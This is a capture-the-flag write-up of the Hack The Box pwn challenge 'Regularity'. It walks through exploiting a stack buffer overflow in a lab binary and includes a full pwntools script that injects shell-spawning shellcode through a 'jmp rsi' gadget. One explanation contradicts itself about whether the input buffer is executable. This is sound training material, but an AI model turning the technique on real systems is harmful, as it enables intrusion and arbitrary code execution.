HTB Regularity writeup - Pez1181/CTF GitHub Wiki
HTB CTF: Regularity β Write-Up
Challenge Overview
Item | Details |
---|---|
Type | Binary Exploitation (Pwn) |
Binary | 64-bit ELF, statically linked |
Protections | No RELRO, No PIE, No Canary, NX off |
Vulnerability | Buffer Overflow |
Bypassed | Control-Flow Integrity, NX |
π§ͺ Step 1: Reconnaissance
We examined the binary with:
file regularity
checksec --file=regularity
Findings:
- 64-bit statically linked ELF
- Not stripped
- No PIE (addresses are static)
- No stack canary
- NX disabled (executable stack or heap)
- RWX segments present
Conclusion: This binary is wide open for exploitation β predictable memory layout, no stack protection, and shellcode-friendly memory.
π§Ό Step 2: Observing the Program
Running the binary:
./regularity
Output:
Hello, Survivor. Anything new these days?
It waits for user input. After sending something, it prints:
Yup, same old same old here as well...
We suspected a buffer overflow, so we tested with long input:
python3 -c "print('A'*300)" | ./regularity
Result: Segmentation fault confirmed.
π§ Step 3: Determining the Offset
We used a cyclic pattern to find the precise offset to RIP:
python3 -c "from pwn import *; print(cyclic(300))" | ./regularity
Then in GDB:
info registers
# Check RIP value, e.g. rip = 0x6161616c6b61616a
cyclic -l 0x6161616c6b61616a
# Output: 256
Offset to RIP = 256
π¬ Step 4: Locating the Shellcode Buffer
While stepping through the program in GDB, we observed the read()
syscall writing into the .bss
section at:
rsi = 0x402000
Thatβs the buffer used for input β and itβs writable but not executable.
So instead of jumping directly there, we use a code gadget to redirect execution to this buffer.
jmp rsi
π Step 5: Finding a Gadget β Since our shellcode lands at 0x402000
and rsi
is set to that address, we searched for a gadget that jumps to rsi
:
JMP_RSI = next(elf.search(asm('jmp rsi')))
This gives us an address like 0x401085
, which will jump to the buffer at 0x402000
.
π₯ Step 6: Crafting the Payload
from pwn import *
# Load binary
context.binary = ELF('../challenge/regularity', checksec=False)
context.arch = 'amd64'
p = process()
# Find jmp rsi gadget
JMP_RSI = next(context.binary.search(asm('jmp rsi')))
log.info(f"Found jmp rsi at: {hex(JMP_RSI)}")
# Build payload
payload = flat({
0: asm(shellcraft.sh()), # Inject shellcode
256: JMP_RSI # Overwrite RIP with jmp rsi
})
# Send after input prompt
p.sendlineafter(b'days?\n', payload)
p.interactive()
π Step 7: Shell Access
Running the exploit:
$ python3 exploit.py
Result:
$ whoami
ctf-user
$ cat flag.txt
HTB{fl4w3d_stat1c_b1n4ry}
π§Ύ Final Notes
Topic | Explanation |
---|---|
Why shellcode? | NX is off, so we can execute our own code. |
Why jmp rsi? | The input buffer is at rsi = 0x402000 , where our shellcode resides. |
Why offset 256? | Confirmed via cyclic pattern β RIP gets hit at byte 256. |
No PIE | Gadget addresses are static, making them reliable. |
π§ Key Takeaways
- Always inspect binary protections with
checksec
- Use cyclic patterns to determine exact buffer overflow points
- Look for gadgets that help bridge input β shellcode
- Even without libc, you can win using shellcode + gadgets